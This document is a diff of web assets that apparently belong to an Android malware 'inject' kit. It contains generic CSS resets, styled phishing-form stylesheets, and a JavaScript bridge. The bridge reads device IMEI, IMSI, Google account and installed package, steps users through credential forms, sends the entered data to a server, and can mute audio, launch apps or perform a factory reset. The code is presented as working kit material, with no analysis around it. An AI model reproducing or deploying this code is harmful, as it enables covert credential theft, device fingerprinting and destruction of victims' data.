||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 1.5 KiB |
|
After Width: | Height: | Size: 10 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,115 @@
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
background: #fff;
|
||||
}
|
||||
|
||||
.header {
|
||||
padding: 10px;
|
||||
background: #002f5f;
|
||||
color: #fff;
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
|
||||
label {
|
||||
font: 14px sans-serif;
|
||||
color: #2c2c2c;
|
||||
width: 60%;
|
||||
position: relative;
|
||||
text-align: left;
|
||||
margin-top: 10px;
|
||||
font-weight: 100;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.field {
|
||||
display: flex;
|
||||
flex-flow: column-reverse;
|
||||
width: 95%;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
label, .input {
|
||||
transition: all 0.2s;
|
||||
}
|
||||
|
||||
label:focus {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.input {
|
||||
font-size: 1.5em;
|
||||
border: 0;
|
||||
border-bottom: 1px solid #b2b2b2;
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
.fielderror {
|
||||
font-size: 1.5em;
|
||||
border: 0;
|
||||
border-bottom: 2px solid #f00;
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
.input:focus {
|
||||
outline: 0;
|
||||
border-bottom: 2px solid #406fbf;
|
||||
}
|
||||
|
||||
.input:placeholder-shown + label {
|
||||
min-width: 66%;
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
cursor: text;
|
||||
transform-origin: left bottom;
|
||||
transform: translate(0, 2.5rem) scale(1.5);
|
||||
font-weight: 100;
|
||||
font-size: 12px;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
::-webkit-input-placeholder {
|
||||
transition: inherit;
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
.input:focus {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.input + label,
|
||||
.input:focus + label {
|
||||
transform: translate(0, 0) scale(1); /* [1] */
|
||||
cursor: pointer; /* [2] */
|
||||
color: #406fbf;
|
||||
}
|
||||
|
||||
.field11 {
|
||||
padding: 20px;
|
||||
padding-top: 0;
|
||||
}
|
||||
|
||||
.button {
|
||||
text-transform: uppercase;
|
||||
color: #406fbf;
|
||||
background: transparent;
|
||||
border: 0;
|
||||
padding: 10px;
|
||||
float: right;
|
||||
margin-top: 50px;
|
||||
}
|
||||
|
||||
p {
|
||||
text-align: center;
|
||||
color: #406fbf;
|
||||
text-decoration: underline;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.error {
|
||||
border-bottom: 1px solid #f00;
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
body {
|
||||
background: #fff;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
}
|
||||
|
||||
.header {
|
||||
background: #28373c;
|
||||
padding: 15px;
|
||||
color: #939b9d;
|
||||
}
|
||||
|
||||
form {
|
||||
padding: 50px;
|
||||
}
|
||||
|
||||
label {
|
||||
color: #28373c;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.field {
|
||||
border: 1px solid #cccccc;
|
||||
border-radius: 3px;
|
||||
width: 100%;
|
||||
margin-bottom: 15px;
|
||||
padding: 8px;
|
||||
}
|
||||
|
||||
.select {
|
||||
border: 1px solid #cccccc;
|
||||
border-radius: 3px;
|
||||
width: 100%;
|
||||
margin-bottom: 15px;
|
||||
padding: 8px;
|
||||
}
|
||||
|
||||
.button {
|
||||
background: #fff500;
|
||||
color: #000;
|
||||
width: 50%;
|
||||
border: 0;
|
||||
border-radius: 50px;
|
||||
padding: 15px;
|
||||
float: right;
|
||||
}
|
||||
|
||||
.error {
|
||||
border: 1px solid #f00 !important;
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background: #ffcc33;
|
||||
font-family: sans-serif;
|
||||
}
|
||||
|
||||
.input {
|
||||
line-height: 18px;
|
||||
-webkit-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-moz-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-o-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
transition: border-color linear .2s,box-shadow linear .2s;
|
||||
color: #000;
|
||||
border: 0;
|
||||
border-bottom: 1px solid #b28e24;
|
||||
background-color: transparent;
|
||||
height: 32px;
|
||||
text-align: center;
|
||||
display: block;
|
||||
margin: 8px 0 0 0;
|
||||
vertical-align: middle;
|
||||
font-size: 24px;
|
||||
width: 95%;
|
||||
font-family: sans-serif;
|
||||
}
|
||||
::-webkit-input-placeholder {color:#000;font-weight: 100;text-align: center; -webkit-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-moz-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-o-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
transition: border-color linear .2s,box-shadow linear .2s;}
|
||||
::-moz-placeholder {color:#000;font-weight: 100;text-align: center; -webkit-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-moz-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-o-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
transition: border-color linear .2s,box-shadow linear .2s;}/* Firefox 19+ */
|
||||
:-moz-placeholder {color:#000;font-weight: 100;text-align: center; -webkit-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-moz-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-o-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
transition: border-color linear .2s,box-shadow linear .2s;}/* Firefox 18- */
|
||||
:-ms-input-placeholder {color:#000;font-weight: 100;text-align: center; -webkit-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-moz-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-o-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
transition: border-color linear .2s,box-shadow linear .2s;}
|
||||
|
||||
|
||||
.fielderror {
|
||||
font-size: 24px;
|
||||
line-height: 18px;
|
||||
-webkit-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-moz-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-o-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
transition: border-color linear .2s,box-shadow linear .2s;
|
||||
color: #000;
|
||||
border: 0;
|
||||
border-bottom: 1px solid #f00;
|
||||
background-color: transparent;
|
||||
height: 32px;
|
||||
text-align: center;
|
||||
display: block;
|
||||
margin: 8px 0 0 0;
|
||||
vertical-align: middle;
|
||||
width: 95%;
|
||||
font-family: sans-serif;
|
||||
}
|
||||
|
||||
.fielderror::-webkit-input-placeholder {
|
||||
color:#f00;
|
||||
font-weight: 100;
|
||||
text-align: center;
|
||||
-webkit-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-moz-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-o-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
transition: border-color linear .2s,box-shadow linear .2s;
|
||||
}
|
||||
|
||||
.fielderror::-moz-placeholder {
|
||||
color:#f00;
|
||||
font-weight: 100;
|
||||
text-align: center;
|
||||
-webkit-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-moz-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-o-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
transition: border-color linear .2s,box-shadow linear .2s;
|
||||
}
|
||||
|
||||
.fielderror::-moz-placeholder {
|
||||
color:#f00;
|
||||
font-weight: 100;
|
||||
text-align: center;
|
||||
-webkit-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-moz-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-o-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
transition: border-color linear .2s,box-shadow linear .2s;
|
||||
}
|
||||
|
||||
.fielderror::-ms-input-placeholder {
|
||||
color:#f00;
|
||||
font-weight: 100;
|
||||
text-align: center;
|
||||
-webkit-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-moz-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
-o-transition: border-color linear .2s,box-shadow linear .2s;
|
||||
transition: border-color linear .2s,box-shadow linear .2s;
|
||||
}
|
||||
|
||||
.submit {
|
||||
color: #fff;
|
||||
background-color: #000;
|
||||
font-size: 12px;
|
||||
padding: 7px 16px;
|
||||
display: inline-block;
|
||||
font-family: sans-serif;
|
||||
font-size: 14px;
|
||||
font-weight: bold;
|
||||
line-height: 18px;
|
||||
text-align: left;
|
||||
text-decoration: none;
|
||||
vertical-align: top;
|
||||
cursor: pointer;
|
||||
border: 0;
|
||||
-webkit-box-shadow: 0 2px 2px rgba(0,0,0,0.4);
|
||||
box-shadow: 0 2px 2px rgba(0,0,0,0.4) float: right;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
#content_div {
|
||||
margin-top: 50px;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 40px;
|
||||
font-family: sans-serif;
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
body {
|
||||
padding: 10px;
|
||||
margin: 0;
|
||||
background: #fff;
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
}
|
||||
|
||||
.header {
|
||||
border: 0;
|
||||
border-bottom: 1px solid #cccccc;
|
||||
}
|
||||
|
||||
.text {
|
||||
padding: 10px;
|
||||
border: 1px solid #f0f0f0;
|
||||
border-radius: 3px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
p {
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.form {
|
||||
background: #f2f2f2;
|
||||
padding: 10px;
|
||||
border-top: 1px solid #ececec;
|
||||
border-left: 1px solid #f3f3f3;
|
||||
border-right: 1px solid #f3f3f3;
|
||||
border-radius: 4px 4px 0 0;
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.button-block {
|
||||
width: 100%;
|
||||
background: #fff;
|
||||
padding: 10px;
|
||||
border-left: 1px solid #f3f3f3;
|
||||
border-right: 1px solid #f3f3f3;
|
||||
border-bottom: 1px solid #e0e0e0;
|
||||
border-radius: 0 0 4px 4px;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.button {
|
||||
color: #fff;
|
||||
background: #148dea;
|
||||
padding: 5px;
|
||||
border: 0px;
|
||||
border-radius: 2px;
|
||||
width: 120px;
|
||||
}
|
||||
|
||||
label {
|
||||
font-size: 12px;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.field {
|
||||
width: 100%;
|
||||
margin-bottom: 15px;
|
||||
border: 1px solid #cfcfcf;
|
||||
background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAXCAIAAACJYYizAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6MTUzRjM0NEM4RDE3MTFFOEFDQ0ZCMzdEQTcwREY1RkQiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6MTUzRjM0NEQ4RDE3MTFFOEFDQ0ZCMzdEQTcwREY1RkQiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDoxNTNGMzQ0QThEMTcxMUU4QUNDRkIzN0RBNzBERjVGRCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDoxNTNGMzQ0QjhEMTcxMUU4QUNDRkIzN0RBNzBERjVGRCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PtZsOr8AAAFvSURBVHjanJTNi4JgEMbXsg+DUvBSHSISOuTNixfp5F9vB9FLEAUhUUmJoth3uk8UZbrt6+6cXuf1N87MMyMVx/HX363w6eJyuWy320+3dNZ1vV51XQcTRVGv1+v3+4VCOjqVTVLTNNu2n4+lUklVVZqmf0syDMMkAzufz4ZhEGpDYtm09/s9ASsWi1mMZVkCdjqdfmwSAUPgWq321jSKEkWRgOGlTqeT9FQqFTSTLHe3231+EIrJskyeErR7Pp8ritJqtXieHw6H4/E428mX3FBsMpksFguc2+22JEk4WJZlmiYOjUYDnnq9/oat1+vRaJSMV61WUVIQBEmnIAiDweCV5HQ6TaVxOBxSDGw2m6GKBwZZXNfNuTKo5YE5jpN/0+7F3zDf9/Njm83mge12u/zYK8lyuZwfu0/MTQCY53mr1Wq5XGaVfRrHcZi7ZrOJcUtvNzYArT8ej2g0rjBcCI/3GIZJLjj1vz/XtwADANyzsJfkYp2WAAAAAElFTkSuQmCC');
|
||||
background-repeat: no-repeat;
|
||||
padding-left: 25px;
|
||||
background-size: 17px;
|
||||
background-position-x: 3px;
|
||||
background-position-y: 2px;
|
||||
}
|
||||
|
||||
.field:focus {
|
||||
width: 100%;
|
||||
margin-bottom: 15px;
|
||||
border: 1px solid #148dea;
|
||||
background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAXCAIAAACJYYizAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6MTUzRjM0NEM4RDE3MTFFOEFDQ0ZCMzdEQTcwREY1RkQiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6MTUzRjM0NEQ4RDE3MTFFOEFDQ0ZCMzdEQTcwREY1RkQiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDoxNTNGMzQ0QThEMTcxMUU4QUNDRkIzN0RBNzBERjVGRCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDoxNTNGMzQ0QjhEMTcxMUU4QUNDRkIzN0RBNzBERjVGRCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PtZsOr8AAAFvSURBVHjanJTNi4JgEMbXsg+DUvBSHSISOuTNixfp5F9vB9FLEAUhUUmJoth3uk8UZbrt6+6cXuf1N87MMyMVx/HX363w6eJyuWy320+3dNZ1vV51XQcTRVGv1+v3+4VCOjqVTVLTNNu2n4+lUklVVZqmf0syDMMkAzufz4ZhEGpDYtm09/s9ASsWi1mMZVkCdjqdfmwSAUPgWq321jSKEkWRgOGlTqeT9FQqFTSTLHe3231+EIrJskyeErR7Pp8ritJqtXieHw6H4/E428mX3FBsMpksFguc2+22JEk4WJZlmiYOjUYDnnq9/oat1+vRaJSMV61WUVIQBEmnIAiDweCV5HQ6TaVxOBxSDGw2m6GKBwZZXNfNuTKo5YE5jpN/0+7F3zDf9/Njm83mge12u/zYK8lyuZwfu0/MTQCY53mr1Wq5XGaVfRrHcZi7ZrOJcUtvNzYArT8ej2g0rjBcCI/3GIZJLjj1vz/XtwADANyzsJfkYp2WAAAAAElFTkSuQmCC');
|
||||
background-repeat: no-repeat;
|
||||
padding-left: 25px;
|
||||
background-size: 17px;
|
||||
background-position-x: 3px;
|
||||
background-position-y: 2px;
|
||||
}
|
||||
|
||||
.fielderror {
|
||||
width: 100%;
|
||||
margin-bottom: 15px;
|
||||
border: 1px solid #f00;
|
||||
